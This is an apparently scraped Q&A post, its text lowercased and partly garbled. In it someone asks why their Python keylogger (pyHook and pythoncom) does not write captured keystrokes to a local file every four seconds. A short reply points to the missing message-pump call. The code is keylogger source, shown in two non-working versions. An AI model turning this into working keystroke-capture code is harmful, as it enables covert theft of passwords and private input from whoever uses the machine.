python - Writing to a file at specific time intervals in different threads for a simple keylogger -
import pythoncom , pyhook, time temp_keylogs = '' def onkeyboardevent(event): global temp_keylogs key = chr(event.ascii) temp_keylogs += key hm = pyhook.hookmanager() hm.keydown = onkeyboardevent hm.hookkeyboard() pythoncom.pumpmessages() while true: f = open('output.txt', 'a') f.write(temp_keylogs) temp_keylogs = '' f.close() time.sleep(4)
i not understand why code not writing of keystrokes performed after 4 seconds file called 'output.txt'. no errors thrown, compiling ok believe, not writing file.
edit: added pythoncom.pumpmessages()
suggested, gives 2 while loops; so, need threading this?
i tried threaded version out here:
import pythoncom , pyhook, time, thread temp_keylogs = '' def onkeyboardevent(event): global temp_keylogs key = chr(event.ascii) temp_keylogs += key def file_write(temp_keylogs): while true: print 'yes' f = open('output.txt', 'a') f.write(temp_keylogs) f.close() temp_keylogs = '' time.sleep(4) hm = pyhook.hookmanager() hm.keydown = onkeyboardevent hm.hookkeyboard() try: thread.start_new_thread( file_write, (temp_keylogs,) ) thread.start_new_thread( pythoncom.pumpmessages() ) except: print 'thread not started'
but still not writing file. so, i'm still unsure of wrong.
you're missing pump messages
pythoncom.pumpmessages()
you don't have access keys without it. see docs
Comments
Post a Comment